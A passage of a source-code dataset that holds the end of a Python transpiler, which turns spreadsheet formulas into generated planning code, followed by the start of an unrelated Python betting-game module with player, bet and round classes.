= hyperc.xtj.str_to_py(f\"[{self.output.filename}]{self.output.sheet}\")\n self.output_code = []\n self.output_code.append(f'{self.output} = {transpiled_formula_return}')\n self.output.temp = True\n if self.output.is_range:\n out_py = hyperc.xtj.str_to_py(\n f'[{self.output.filename}]{self.output.sheet}!{self.output.letter[0]}{self.output.number[0]}_{self.output.letter[1]}{self.output.number[1]}')\n self.init_code.name = f'hct_{out_py}'\n self.output_code.append(\n f'{self.output}_not_hasattr = False')\n else:\n self.output_code.append(\n f'DATA.{sheet_name}_{self.output.number}.{self.output.letter} = {self.output}')\n self.output_code.append(\n f'DATA.{sheet_name}_{self.output.number}.{self.output.letter}_not_hasattr = False')\n self.output_code.append(f'# side effect with {self.output} can be added here')\n\n code = {}\n for idx, code_chunk in enumerate(self.code):\n if isinstance(code_chunk, CodeElement):\n if len(code_chunk.code_chunk) > 1:\n for ce in code_chunk.code_chunk:\n code[f'{self.init_code.name}_{ce}'] = FunctionCode(\n name=f'{self.init_code.name}_{ce}', parent_name=self.init_code.name)\n code[f'{self.init_code.name}_{ce}'].input_variables = copy.copy(self.init_code.input_variables)\n code[f'{self.init_code.name}_{ce}'].init = copy.copy(self.init_code.init)\n code[f'{self.init_code.name}_{ce}'].precondition[code[f'{self.init_code.name}_{ce}'].name] = code_chunk.precondition_chunk[ce]\n code[f'{self.init_code.name}_{ce}'].operators[code[f'{self.init_code.name}_{ce}'].name] = code_chunk.code_chunk[ce]\n code[f'{self.init_code.name}_{ce}'].selected_cell = set(code_chunk.contion_vars[ce])\n code[f'{self.init_code.name}_{ce}'].sync_cell.update(code_chunk.sync_cells[ce])\n code[f'{self.init_code.name}_{ce}'].args.update(code_chunk.all_vars)\n code[f'{self.init_code.name}_{ce}'].idx = idx\n code[f'{self.init_code.name}_{ce}'].selectable = True\n\n else:\n ce = list(code_chunk.code_chunk.keys())[0]\n self.init_code.precondition[self.init_code.name] = code_chunk.precondition_chunk[ce]\n self.init_code.operators[self.init_code.name] = code_chunk.code_chunk[ce]\n self.init_code.selected_cell = set(code_chunk.contion_vars[ce])\n self.init_code.sync_cell.update(code_chunk.sync_cells[ce])\n self.init_code.args.update(code_chunk.all_vars[ce])\n self.init_code.selectable = True\n else:\n self.init_code.operators[self.init_code.name].append(code_chunk)\n if (len(code) > 1):\n for branch_name in code:\n code[branch_name].operators[code[branch_name].name] = self.init_code.operators[self.init_code.name][\n 0: idx] + code[branch_name].operators[code[branch_name].name]\n code[branch_name].operators[code[branch_name].name].extend(\n list(self.init_code.operators.values())[0][idx:])\n else:\n code[self.init_code.name] = self.init_code\n for c in code.values():\n c.output[c.name].extend(self.output_code)\n c.effect_vars.add(self.output)\n for_del = set([i_v for i_v in c.input_variables if (not i_v.is_range) and (i_v == self.output or i_v.temp)])\n for_del.update(c.sync_cell)\n c.input_variables = c.input_variables - for_del\n self.code = code\n for c in self.code.values():\n c.init_keys()\n\n def f_vlookup(self, *args):\n if len(args) == 3:\n args = list(args)\n args.append('True == True')\n assert len(args) == 4, \"VLOOKUP should be 3 or 4 arguments\"\n cell, rng, column, range_lookup = args\n p = hyperc.util.letter_index_next(letter=rng.cell.letter[0])\n for i in range(column.var-2):\n p = hyperc.util.letter_index_next(letter=p)\n p = p.upper()\n rng_test = StringLikeVariable.new(\n var_map=self.var_mapper, filename=rng.cell.filename, sheet=rng.cell.sheet, letter=[rng.cell.letter[0], rng.cell.letter[0]], number=rng.cell.number)\n rng_test.range_name = rng.range_name\n rng_ret = StringLikeVariable.new(\n var_map=self.var_mapper, filename=rng.cell.filename, sheet=rng.cell.sheet,\n letter=[p,p], number=rng.cell.number)\n rng_ret.range_name = rng.range_name\n rng_ret.row_name = rng_test.row_name\n rng_ret.var_str = f'{rng_ret.row_name}.{rng_ret.letter[0]}'\n self.init_code.function_args[rng] = hyperc.xtj.str_to_py(f'[{rng.cell.filename}]{rng.cell.sheet}')\n self.var_counter += 1\n ret_var = StringLikeVariable.new(\n var_map=self.var_mapper, filename=self.output.filename, sheet=self.output.sheet, letter=self.output.letter,\n number=self.output.number, var_str=f'var_tbl_VLOOKUP_{self.output}_{self.var_counter}')\n ret_var.temp = True\n self.var_counter += 1\n self.init_code.init.append(f'{ret_var} = {rng_ret}')\n self.code.append(f'assert {rng_test} == {cell} # main assert')\n\n # self.init_code.selectable = True\n self.init_code.is_atwill = True\n return StringLikeVars(ret_var, [cell, rng, rng_test, rng_ret, ret_var], \"\")\n\n def f_selectfromrange(self, rng, fix=None):\n assert self.paren_level == 1, \"Nested ANYINDEX() is not supported\"\n self.var_counter += 1\n ret_var = StringLikeVariable.new(\n var_map=self.var_mapper, filename=self.output.filename, sheet=self.output.sheet, letter=self.output.letter, number=self.output.number,\n var_str=f'var_tbl_SELECTFROMRANGE_{self.output}_{self.var_counter}')\n ret_var.temp = True \n self.var_counter += 1\n self.code.append(f'{ret_var} = {rng}')\n self.init_code.is_atwill = True\n self.init_code.formula_type = \"SELECTFROMRANGE\"\n return StringLikeVars(ret_var, [ret_var, rng], \"\")\n\n # takeif(default_value, precondition_1, effect_1, sync_cell_1, precondition_2, effect_2, sync_cell_2, .....\n def f_takeif(self, *args):\n assert self.paren_level == 1, \"Nested TAKEIF() is not supported\"\n assert len(args) >= 3, \"TAKEIF() args should be 3 and more\"\n if len(args) == 3:\n args = list(args)\n args.append(None)\n assert ((len(args)-1) % 3) == 0, \"Args in TAKEIF() should be multiple of three plus one\"\n if self.paren_level == 1:\n self.default = args[0]\n ret_var = StringLikeVariable.new(\n var_map=self.var_mapper, filename=self.output.filename, sheet=self.output.sheet, letter=self.output.letter, number=self.output.number,\n var_str=f'var_tbl_TAKEIF_{self.output}_{self.var_counter}')\n ret_var.temp = True\n ret_expr = StringLikeVars(ret_var, args, \"takeif\")\n self.var_counter += 1\n code_element = CodeElement()\n self.code.append(code_element)\n self.init_code.formula_type = \"TAKEIF\"\n part = 0\n for a_condition, a_value, a_syncon in divide_chunks(args[1:], 3): # divinde by 3 elements after first\n branch_name = f'takeif_branch{part}'\n if branch_name not in code_element.precondition_chunk:\n code_element.precondition_chunk[branch_name] = [[], 'if']\n code_element.precondition_chunk[branch_name][0].append(\n f\"{a_condition} == True\") # WO asser now, \"assert\" or \"if\" insert if formatting\n ranges_set = set()\n if isinstance(a_condition, StringLikeVars):\n ranges_set = set([v for v in a_condition.variables if isinstance(v, StringLikeNamedRange)])\n elif isinstance(a_condition, StringLikeNamedRange):\n ranges_set = set([a_condition])\n if isinstance(a_value, StringLikeVars):\n ranges_set.update([v for v in a_value.variables if isinstance(v, StringLikeNamedRange)])\n elif isinstance(a_value, StringLikeNamedRange):\n ranges_set.add(a_value)\n first_range_var = None\n for var in ranges_set:\n if first_range_var is None:\n first_range_var = var\n else:\n # set row name for all variables\n var.row_name = first_range_var.row_name\n var.var_str = f'{var.row_name}.{var.cell.letter[0]}'\n\n if first_range_var is not None:\n self.output = StringLikeVariable(\n var_map=self.var_mapper, filename=self.output.filename, sheet=self.output.sheet,\n letter=[self.output.letter, self.output.letter],\n number=first_range_var.cell.number)\n self.output.row_name = first_range_var.row_name\n self.output.var_str = f'{self.output.row_name}.{self.output.letter[0]}'\n\n code_element.code_chunk[branch_name].append(f\"{ret_expr} = {a_value}\")\n\n self.save_return(\n StringLikeVars(\n f\"{ret_expr} = {a_value}\", [ret_var, a_value],\n \"=\"))\n if a_syncon is not None:\n code_element.sync_cells[branch_name].add(a_syncon)\n code_element.contion_vars[branch_name].extend(a_condition.variables)\n code_element.all_vars[branch_name].extend(a_condition.variables)\n code_element.all_vars[branch_name].extend(a_value.variables)\n part += 1\n\n return ret_expr\n\n f_selectif = f_takeif\n\n def f_watchtakeif(self, takeif_cell_address, fix=None):\n assert self.paren_level == 1, \"Nested WATCHTAKEIF() is not supported\"\n # TODO: check that takeif cell address is not a commpoud formula but a simple address of takeif cell\n ret_var = StringLikeVariable.new(\n var_map=self.var_mapper, filename=self.output.filename, sheet=self.output.sheet, letter=self.output.letter,\n number=self.output.number, var_str=f'var_tbl_WATCHTAKEIF_{self.output}_{self.var_counter}')\n ret_var.temp = True\n ret_expr = StringLikeVars(ret_var, [takeif_cell_address], \"watchtakeif\")\n\n code_element = CodeElement()\n self.code.append(code_element)\n code_element.code_chunk[f'watchtakeif'].extend(self.init_code.hasattr_code)\n self.init_code.hasattr_code = [f\"global WATCHTAKEIF_{takeif_cell_address}_{self.output.letter}\"]\n code_element.code_chunk[f'watchtakeif'].extend(self.init_code.init)\n self.init_code.init = []\n self.init_code.formula_type = \"WATCHTAKEIF\"\n code_element.code_chunk[f'watchtakeif'].append(f\"{ret_expr} = {takeif_cell_address}\")\n if f'watchtakeif' not in code_element.precondition_chunk:\n code_element.precondition_chunk[f'watchtakeif'] = [[], 'elif']\n code_element.precondition_chunk[f'watchtakeif'][0].append(\n f\"(WATCHTAKEIF_{takeif_cell_address}_{self.output.letter} == {self.output.number})\")\n code_element.code_chunk[f'watchtakeif'].append(\n f\"WATCHTAKEIF_{takeif_cell_address}_{self.output.letter} = WATCHTAKEIF_{takeif_cell_address}_{self.output.letter} + 1\")\n code_element.all_vars[f'watchtakeif'].extend(takeif_cell_address.variables)\n self.init_code.watchtakeif = takeif_cell_address\n self.save_return(\n StringLikeVars(f\"{ret_expr} = {takeif_cell_address}\", [ret_var, takeif_cell_address], \"=\"))\n return ret_expr\n\n def f_index(self, range, idx):\n ret_var = StringLikeVariable.new(\n var_map=self.var_mapper, filename=self.output.filename, sheet=self.output.sheet, letter=self.output.letter,\n number=self.output.number, var_str=f\"{idx}\")\n ret_var.temp = True\n ret_expr = StringLikeVars(ret_var, range, \"index\")\n return self.save_return(\n StringLikeVars(\n f\"{ret_expr} = {idx}\", [ret_var, idx],\n \"=\"))\n\n def f_and(self, *args):\n vars = []\n for var in args:\n if (not isinstance(var,StringLikeVars)) and var.is_range:\n for number in range(var.cell.number[0], var.cell.number[1]+1):\n vars.append(StringLikeVariable.new(var_map=self.var_mapper,\n filename=var.cell.filename, sheet=var.cell.sheet, letter=var.cell.letter[0], number=number))\n elif isinstance(var, StringLikeVariable) or isinstance(var,StringLikeConstant):\n vars.append(StringLikeVars(f\"({var} == True)\", [var,StringLikeConstant.new(var_map=self.var_mapper,var=True)], '=='))\n else:\n vars.append(var)\n vars_str=\" and \".join([str(v) for v in vars])\n return self.save_return(StringLikeVars(f\"({vars_str})\", vars, 'and'), bool)\n\n\n def f_or(self, v1, v2):\n return self.save_return(StringLikeVars(f\"({v1} or {v2})\", [v1, v2], \"or\"), bool)\n\n def f_eq(self, v1, v2):\n return self.save_return(StringLikeVars(f\"({v1} == {v2})\", [v1, v2], \"==\"), bool)\n\n def f_ne(self, v1, v2):\n return self.save_return(StringLikeVars(f\"({v1} != {v2})\", [v1, v2], \"!=\"), bool)\n\n def f_add(self, v1, v2):\n return self.save_return(StringLikeVars(f\"({v1} + {v2})\", [v1, v2], \"+\"), int)\n\n def f_sub(self, v1, v2):\n return self.save_return(StringLikeVars(f\"({v1} - {v2})\", [v1, v2], \"-\"), int)\n\n def f_mul(self, v1, v2):\n return self.save_return(StringLikeVars(f\"({v1} * {v2})\", [v1, v2], \"*\"), int)\n\n def f_div(self, v1, v2):\n return self.save_return(StringLikeVars(f\"({v1} // {v2})\", [v1, v2], \"//\"), int)\n\n def f_lt(self, v1, v2):\n return self.save_return(StringLikeVars(f\"({v1} < {v2})\", [v1, v2], \"<\"), bool)\n\n def f_gt(self, v1, v2):\n return self.save_return(StringLikeVars(f\"({v1} > {v2})\", [v1, v2], \">\"), bool)\n\n def f_le(self, v1, v2):\n return self.save_return(StringLikeVars(f\"({v1} <= {v2})\", [v1, v2], \"<=\"), bool)\n\n def f_ge(self, v1, v2):\n return self.save_return(StringLikeVars(f\"({v1} >= {v2})\", [v1, v2], \">=\"), bool)\n\n def f_true(self):\n return self.save_return(StringLikeVars(\"True\", [StringLikeConstant.new(var_map=self.var_mapper,var=True)], \"\" ), bool)\n\n def f_false(self):\n return self.save_return(StringLikeVars(\"False\", [StringLikeConstant.new(var_map=self.var_mapper,var=True)], \"\" ), bool)\n\n def transpile(self, nodes):\n if isinstance(nodes, list):\n ret = \"\"\n for node in nodes:\n ret = self.transpile(node)\n pass\n return ret\n else:\n ret = self.transpile_node(nodes)\n self.last_node = nodes\n return ret\n\n def transpile_node(self, node):\n if isinstance(node, formulas.tokens.operand.Range):\n ret = self.transpile_range(node)\n if self.paren_level in self.function_parens:\n self.function_parens_args[self.paren_level].append(ret)\n return ret\n elif isinstance(node, formulas.tokens.parenthesis.Parenthesis):\n if node.attr[\"name\"] == \"(\":\n self.paren_level += 1\n# print(\"Opened paren level\", self.paren_level)\n if isinstance(self.last_node, formulas.tokens.function.Function):\n # print(\"Storing last function:\", self.paren_level, self.last_node)\n self.function_parens[self.paren_level] = \"f_\"+self.last_node.attr[\"name\"].lower()\n else:\n self.function_parens[self.paren_level] = \"\"\n else:\n # print(\"Paren close level\", self.paren_level)\n if self.paren_level in self.function_parens:\n # print(self.function_parens[self.paren_level].lower(), self.function_parens_args[self.paren_level])\n # try:\n ret = getattr(self, self.function_parens[self.paren_level])(*self.function_parens_args[self.paren_level])\n # except:\n # print(\"a\")\n self.function_parens_args[self.paren_level] = []\n self.paren_level -= 1\n self.function_parens_args[self.paren_level].append(ret)\n return ret\n self.paren_level -= 1\n assert self.paren_level >= 0, \"Too many closing parenthesis! %s\" % self.paren_level\n return node.attr[\"name\"] # TODO: WARNING: this is wrong??\n elif isinstance(node, formulas.tokens.function.Function):\n self.functions.append(\"f_\"+node.attr[\"name\"])\n return node.attr[\"name\"].lower()\n elif isinstance(node, formulas.tokens.operator.Separator):\n if node.attr[\"name\"] != \",\":\n raise ValueError(\"Can't support separator %s\" % node.attr[\"name\"])\n return \", \"\n elif isinstance(node, formulas.tokens.operand.Number):\n isint = True\n if node.attr[\"name\"].lower() == \"true\": # FIX HERE: need to check inference\n ret = True\n isint = False\n elif node.attr[\"name\"].lower() == \"false\":\n ret = False\n isint = False\n if isint:\n ret = int(node.attr[\"name\"])\n ret = StringLikeConstant.new(var_map=self.var_mapper, var=ret)\n if self.paren_level in self.function_parens:\n self.function_parens_args[self.paren_level].append(ret)\n return ret\n elif isinstance(node, formulas.tokens.operand.String):\n ret = StringLikeConstant.new(var_map=self.var_mapper, var=node.attr[\"name\"])\n if self.paren_level in self.function_parens:\n self.function_parens_args[self.paren_level].append(ret)\n return ret\n\n elif isinstance(node, formulas.tokens.operator.OperatorToken):\n if node.attr[\"name\"] == \"=\":\n self.function_parens[self.paren_level] = 'f_eq'\n return None\n elif node.attr[\"name\"] == \"+\":\n self.function_parens[self.paren_level] = 'f_add'\n return None\n elif node.attr[\"name\"] == \"-\":\n self.function_parens[self.paren_level] = 'f_sub'\n return None\n elif node.attr[\"name\"] == \"*\":\n self.function_parens[self.paren_level] = 'f_mul'\n return None\n elif node.attr[\"name\"] == \"/\":\n self.function_parens[self.paren_level] = 'f_div'\n return None\n elif node.attr[\"name\"] == \"<\":\n self.function_parens[self.paren_level] = 'f_lt'\n return None\n elif node.attr[\"name\"] == \">\":\n self.function_parens[self.paren_level] = 'f_gt'\n return None\n elif node.attr[\"name\"] == \"<=\":\n self.function_parens[self.paren_level] = 'f_le'\n return None\n elif node.attr[\"name\"] == \">=\":\n self.function_parens[self.paren_level] = 'f_ge'\n return None\n elif node.attr[\"name\"] == \"<>\":\n self.function_parens[self.paren_level] = 'f_ne'\n return None\n else:\n raise NotImplementedError(\"Not Implemented Operator: %s\" % repr(node))\n else:\n raise NotImplementedError(\"Not Implemented: %s\" % repr(node))\n\n def transpile_range(self, node: formulas.tokens.operand.Range):\n sheet = node.attr.get('sheet', self.output.sheet)\n filename = os.path.basename(node.attr.get('filename', self.output.filename))\n if 'r1' in node.attr:\n if node.attr['r1'] == node.attr['r2'] and node.attr['c1'] == node.attr['c2']:\n return StringLikeVariable.new(var_map=self.var_mapper, filename=filename, sheet=sheet, letter=node.attr['c1'], number=node.attr['r1'])\n\n else:\n plain_cell_range = hyper_etable.cell_resolver.PlainCellRange(filename, sheet, [node.attr['c1'], node.attr['c2']], [node.attr['r1'], node.attr['r2']])\n named_range, simple_range = self.range_resolver.get_named_range_by_simple_range(plain_cell_range)\n if named_range is not None :\n return StringLikeNamedRange.new(var_map=self.var_mapper, sheet=sheet, filename=filename, range_name=named_range.name, cell=simple_range)\n else:\n for cell in self.range_resolver.gen_cells_from_range(plain_cell_range):\n self.range_resolver.cell_to_table[cell].add(f\"{node.attr['c1']}{node.attr['r1']}_{node.attr['c2']}{node.attr['r2']}\")\n return StringLikeVariable.new(var_map=self.var_mapper, filename=filename, sheet=sheet, letter=[node.attr['c1'], node.attr['c2']], number=[node.attr['r1'], node.attr['r2']])\n else:\n name = node.attr['name'].strip(\"'\").strip(\"!\")\n \n # table[@column] <- ok takeif\n\n # table[column] <-- ok for select from range\n # nr == nr <-- ok for select from range\n\n return StringLikeNamedRange.new(\n var_map=self.var_mapper, sheet=sheet, filename=filename, range_name=name,\n cell=self.range_resolver.get_cell_range_by_name(sheet=sheet, filename=filename, name=name))\n\n #TODO Query range from etable.py.ETable.table_collums here\n\n\n def save_return(self, ret, type_=None):\n self.remember_types[ret] = type_\n for arg in ret.args:\n if not isinstance(arg, str):\n continue\n if 'var_tbl_' not in arg:\n continue\n self.init_code.args.add(arg)\n\n if ret.operator in ['-', '+', '/', '*', '>', '<', '<=', '>=']:\n for var in ret.variables:\n var.set_types(int)\n\n\n # set neighbour\n if len(ret.variables) > 1 :\n for var1 in ret.variables:\n for var2 in ret.variables:\n var1.type_group_set.update(var2.type_group_set)\n var2.type_group_set.update(var1.type_group_set)\n\n # create type group mapper\n for var in ret.variables:\n if var.type_group not in self.table_type_mapper:\n self.table_type_mapper[var.type_group] = hyper_etable.type_mapper.TypeMapper(\n group=var.type_group_set, name=var.type_group, types=var.types)\n\n return ret\n\n\nclass CodeElement:\n\n def __init__(self):\n self.precondition_chunk = {}\n self.code_chunk = collections.defaultdict(list)\n self.contion_vars = collections.defaultdict(list)\n self.sync_cells = collections.defaultdict(set)\n self.all_vars = collections.defaultdict(list)\n\nclass FunctionCode:\n def __init__(self, name, parent_name=None, is_goal=False):\n self.name = name\n self.parent_name = set()\n if parent_name is not None:\n self.parent_name.add(parent_name)\n self.input_variables = set() # generate self.init from this set\n self.all_variables = set()\n self.effect_vars = set()\n self.init = []\n self.keys = []\n self.hasattr_code = []\n self.precondition = collections.defaultdict(list)\n self.operators = collections.defaultdict(list)\n self.output = collections.defaultdict(list)\n self.args = set()\n self.function_args = {}\n self.selected_cell = set()\n self.sync_cell = set()\n self.collapsed = False\n self.selectable = False\n self.watchtakeif = None\n self.watchtakeif_max = False\n self.is_atwill = False # For at-will functions like selectfromrange\n self.is_goal = is_goal\n self.formula_type = \"CALCULATE CELL\"\n self.formula_str = set()\n\n def init_keys(self):\n self.keys = [self.name]\n\n def merge(self, other):\n self.name = f'{self.name}_{other.name}'\n self.init.extend(other.init)\n self.input_variables.update(other.input_variables)\n self.all_variables.update(other.all_variables)\n self.keys.extend(other.keys)\n self.precondition.update(other.precondition)\n self.operators.update(other.operators)\n self.output.update(other.output)\n self.args.update(other.args)\n self.effect_vars.update(other.effect_vars)\n self.selected_cell.update(other.selected_cell)\n self.sync_cell.update(other.sync_cell)\n self.parent_name.update(other.parent_name)\n self.formula_str.update(other.formula_str)\n self.function_args.update(other.function_args)\n if other.selectable:\n self.selectable = True\n\n def merge_prepend(self, other):\n self.name = f'{self.name}_{other.name}'\n self.keys = other.keys + self.keys\n self.init = other.init + self.init\n self.precondition.update(other.precondition)\n self.operators.update(other.operators)\n self.output.update(other.output)\n self.args.update(other.args)\n self.effect_vars.update(other.effect_vars)\n self.selected_cell.update(other.selected_cell)\n self.sync_cell.update(other.sync_cell)\n self.parent_name.update(other.parent_name)\n self.formula_str.update(other.formula_str)\n if other.selectable:\n self.selectable = True\n\n def collapse(self):\n if self.collapsed:\n return\n collapsed_code = []\n collapsed_code.extend(self.init)\n collapsed_code.extend(self.operators)\n collapsed_code.extend(self.output)\n self.init=[]\n self.operators = []\n self.output = collapsed_code\n\n def glue(self,other):\n self.collapse()\n other.collapse()\n self.name = f'{self.name}_{other.name}'\n self.output = other.output + self.output\n self.args.update(other.args)\n self.function_args.update(other.function_args)\n self.effect_vars.update(other.effect_vars)\n self.selected_cell.update(other.selected_cell)\n self.sync_cell.update(other.sync_cell)\n self.parent_name.update(other.parent_name)\n self.formula_str.update(other.formula_str)\n if other.selectable:\n self.selectable = True\n\n def generate_ne_warrants(self):\n \"Generate not-equal for objects that are guaranteed not to be equal\"\n warrants = []\n all_vars = set()\n for var in self.input_variables:\n if not var.is_range:\n sheet_name = hyperc.xtj.str_to_py(f'[{var.filename}]{var.sheet}')\n all_vars.add(f'DATA.{sheet_name}_{var.cell.number}')\n for a, b in itertools.combinations(all_vars, r=2):\n # code += f\" assert {a} != {b}\\n\"\n a_b = sorted([a, b])\n warrants.append(f\"ensure_ne({a_b[0]}, {a_b[1]})\")\n return warrants\n\n def gen_init(self):\n for arg in self.function_args.keys():\n if arg in self.input_variables:\n self.input_variables.remove(arg)\n for var in self.input_variables:\n py_table_name = hyperc.xtj.str_to_py(f'[{var.filename}]{var.sheet}')\n if var.is_range :\n self.function_args[var] = py_table_name\n self.init.append(f'assert {var}_not_hasattr == False')\n if isinstance(var, StringLikeNamedRange) or isinstance(var, StringLikeVariable):\n self.init.append(\n f'assert {var.row_name} in DEFINED_TABLES.{hyperc.xtj.str_to_py(var.range_name)}')\n pass\n else:\n raise Exception(f\"Unsupport range {var}\")\n\n else:\n self.init.append(f'{var} = DATA.{py_table_name}_{var.number}.{var.letter} # TEST HERE')\n self.init.append(f'assert DATA.{py_table_name}_{var.number}.{var.letter}_not_hasattr == False')\n self.init.extend(self.hasattr_code) #should gen init and hasattr\n\n def gen_not_hasattr(self):\n not_hasattrs = []\n for eff_var in self.effect_vars:\n py_table_name = hyperc.xtj.str_to_py(f'[{eff_var.filename}]{eff_var.sheet}')\n not_hasattrs.append(\n f'assert DATA.{py_table_name}_{eff_var.number}.{eff_var.letter}_not_hasattr == True')\n return \"\\n \".join(not_hasattrs)\n \n def __str__(self):\n if_not_hasattr = \"\"\n stack_code = []\n stack_code_str = \"\"\n if not self.is_goal:\n if self.selectable:\n stack_code.append('_stack_drop()')\n pass\n elif not self.is_atwill:\n if_not_hasattr = f'\\n {self.gen_not_hasattr()}'\n for eff_var in self.effect_vars:\n py_table_name = hyperc.xtj.str_to_py(f'[{eff_var.filename}]{eff_var.sheet}')\n # stack_code.append(\n # f'_stack_add(DATA.{py_table_name}_{eff_var.number},\"{eff_var.letter}\")')\n else:\n pass # do nothing if at-will like selectfromrange\n # for eff_var in self.effect_vars:\n # py_table_name = hyperc.xtj.str_to_py(f'[{eff_var.filename}]{eff_var.sheet}')\n # stack_code.append(\n # f'_stack_add(DATA.{py_table_name}_{eff_var.number},\"{eff_var.letter}\")')\n stack_code_str = '\\n '.join(stack_code)\n\n function_args = ', '.join(set([f'{k.row_name}: {v}_Class' for k, v in self.function_args.items()]))\n if self.collapsed:\n operators = '\\n '.join(self.operators)\n all_code = f\"{if_not_hasattr} {operators}\"\n warrants = '\\n '.join(self.generate_ne_warrants())\n return f'''def {self.name}({function_args}):{if_not_hasattr}\n {warrants}\n {operators}\n {stack_code_str}\n'''\n else:\n init = '\\n '.join(self.init)\n code = \"\"\n if len(self.precondition) > 0:\n prev_if_type = 'if'\n for branch_name in self.keys:\n precondition = self.precondition.get(branch_name, \"\")\n if_type = precondition[1]\n if len(precondition[0]) > 0:\n precondition = \" and \".join(precondition[0])\n precondition = f'\\n {if_type} {precondition}:'\n operators = '\\n '.join(self.operators.get(branch_name, []))\n output = '\\n '.join(self.output.get(branch_name, []))\n if prev_if_type == 'if' and if_type == 'elif':\n code = f'{code}if False:\\n pass{precondition}\\n {operators}\\n {output}\\n assert_ok = True\\n'\n else:\n code = f'{code}{precondition}\\n {operators}\\n {output}\\n assert_ok = True\\n'\n\n prev_if_type = if_type\n all_code = f\"{if_not_hasattr} {init} {code}\"\n warrants = '\\n '.join(self.generate_ne_warrants())\n return f'''def {self.name}({function_args}):{if_not_hasattr}\n {init}\n {warrants}\n assert_ok = False\n {code}\n {stack_code_str}\n assert assert_ok == True\n'''\n else:\n if len(self.operators) > 0:\n operators = '\\n '.join(list(self.operators.values())[0])\n else:\n operators = ''\n if len(self.output) > 0:\n output = '\\n '.join(list(self.output.values())[0])\n else:\n output = ''\n code = f'{code}\\n {operators}\\n {output}\\n'\n all_code = f\"{if_not_hasattr} {init} {code}\"\n warrants = '\\n '.join(self.generate_ne_warrants())\n return f'''def {self.name}({function_args}):{if_not_hasattr}\n {init}\n {warrants}\n {code}\n {stack_code_str}\n'''\n\ndef divide_chunks(l, n):\n # looping till length l\n for i in range(0, len(l), n):\n yield l[i:i + n]\n","repo_name":"hyperc-ai/hyper-etable","sub_path":"hyper_etable/etable_transpiler.py","file_name":"etable_transpiler.py","file_ext":"py","file_size_in_byte":45459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32737209719","text":"import os\nimport pathlib\nimport random\nimport math\nimport time\nfrom . import text\nfrom . import config\n\nLOCAL_PATH = pathlib.Path(__file__).parent.absolute()\n\nclass Player(): # Called bettor on majority of variables\n def __init__(self, name, money):\n self.name = name\n self.money = self.initial_money = money\n\n\n def move_money(self, amount):\n \"\"\"Increase amount of money.\n \n Change the player's amount of money by increasing or decreasing according to the specified amount.\n If this change causes the player's money to be less that 0, raises a ValueError.\n \n Arguments:\n amount {Integer} -- Amount that is added to the real money of the players\n \n Raises:\n ValueError -- The final money don't be lower than 0\n \"\"\"\n if (self.money + amount) >= 0:\n self.money = round(self.money + amount, 2) # It is always rounded to avoid problems of arithmetic operations with floats\n else:\n raise ValueError(\"{} no tiene suficientes fondos como para hacer la apuesta. Actualmente sólo tiene {} pos\".format(self.name, self.money))\n\n\n def bet(self, amount, bet_type):\n \"\"\"Builds a bet.\n \n Instances a Bet object according to the specified amount and the bet type. \n \n Arguments:\n amount {[Double]} -- The amount\n bet_type {Int or list of three Competitor} -- The type of the bet (1 = winner, 2 = placed, 3 = third or = triplet)\n \n Returns:\n Bet -- Instance of the amount and type bet specified \n \n Raises:\n ValueError -- amount must must at least 1\n TypeError -- type_bet must be a number between 1 and 4\n \"\"\"\n if amount < 1:\n raise ValueError(\"Las apuestas deben ser de al menos un po\") \n self.move_money(-amount)\n if bet_type == 1:\n return BetWinner(self, amount)\n if bet_type == 2:\n return BetPlaced(self, amount)\n if bet_type == 3:\n return BetThird(self, amount)\n if type(bet_type) is list and len(bet_type) == 3:\n return BetTriplet(self, amount, bet_type)\n raise TypeError(\"Error creando la apuesta\")\n\n\n def results(self):\n \"\"\"Calculates the difference between the start money and the end money.\n \n Calculates the difference between the start money and the end money.\n \n Returns:\n Double -- Difference between the start money and the end money\n \"\"\"\n return self.money - self.initial_money\n\n\nclass Npc(Player): # Para que no explote\n def __init__(self, name, average, variance, money = float(\"inf\")):\n super(Npc, self).__init__(name, money)\n self.average = average\n self.variance = variance\n\n\n def generate_amount(self):\n \"\"\"Generates a amount with a function.\n \n All pngs generating their amount for bet with a normal function.\n \n Returns:\n Integer -- amount for a bet\n \"\"\"\n \n amount = math.ceil(random.normalvariate(self.average, self.variance))\n if amount < 1:\n return 1\n return amount\n\n\nclass Competitor():\n def __init__(self, name):\n self.name = name\n self.bets = []\n\n\nclass Bet():\n def __init__(self, bettor, amount):\n self.bettor = bettor\n self.amount = amount\n self.effective_amount = self.amount\n\n\n# It may be a bad idea to use different classes\nclass BetWinner(Bet):\n def __init__(self, bettor, amount):\n super(BetWinner, self).__init__(bettor, amount)\n self.effective_amount = self.amount * config.EFFECTIVE_RATIO_IN_WINNER_BET\n self.type = 1\n\n\nclass BetPlaced(Bet):\n def __init__(self, bettor, amount):\n super(BetPlaced, self).__init__(bettor, amount)\n self.effective_amount = self.amount * config.EFFECTIVE_RATIO_IN_PLACED_BET\n self.type = 2\n\n\nclass BetThird(Bet):\n def __init__(self, bettor, amount):\n super(BetThird, self).__init__(bettor, amount)\n self.effective_amount = self.amount * config.EFFECTIVE_RATIO_IN_THIRD_BET\n self.type = 3\n\n\nclass BetTriplet(Bet):\n def __init__(self, bettor, amount, triplet):\n super(BetTriplet, self).__init__(bettor, amount)\n self.triplet = triplet\n\n\nclass Round():\n def __init__(self, competitors = [], round_id = time.strftime(\"%d_%m_%y - %H:%M:%S\")):\n self.id = round_id\n open(str(self.id) + \".log\", \"x\")\n self.register_event(\"new_round\", self.id)\n self.bettors = [] # Creo que no vale para nada\n self.npcs = []\n self.load_npcs()\n self.competitors = {}\n self.add_competitors(competitors)\n self.pot = 0.0\n self.jackpot = 0.0 # It is necessary to obtain the proportion of the jackpot\n self.winners = []\n self.triplet_bets = []\n self.triplet_pot = 0.0\n self.triplet_jackpot = 0.0 # It is necessary to obtain the proportion of the jackpot \n self.triplet_winner_bets = []\n\n\n def exist_competitors(self, competitors):\n \"\"\"Checks if a competitor exits already.\n \n Evaluates if some one of competitors within in the competitor's list given is already added in competitor's list of the round.\n \n Arguments:\n competitors {List of Competitor} -- It's a list for convenience of a register_composite_bet function\n \n Returns:\n bool -- True if competitor is in list\n \"\"\"\n for competitor in competitors:\n if competitor in self.competitors.values() or competitor.name in self.competitors.keys():\n return True\n return False\n\n def get_competitor_by_name(self, name):\n \"\"\"Gets a object competitor with the name.\n \n Gets the competitor by name from competitors list.\n \n Arguments:\n name {String} -- Value in name atribute.\n \n Returns:\n Competitor -- Competitor object which name is the specified in param\n \n Raises:\n ReferenceError -- Raises if don't exists a 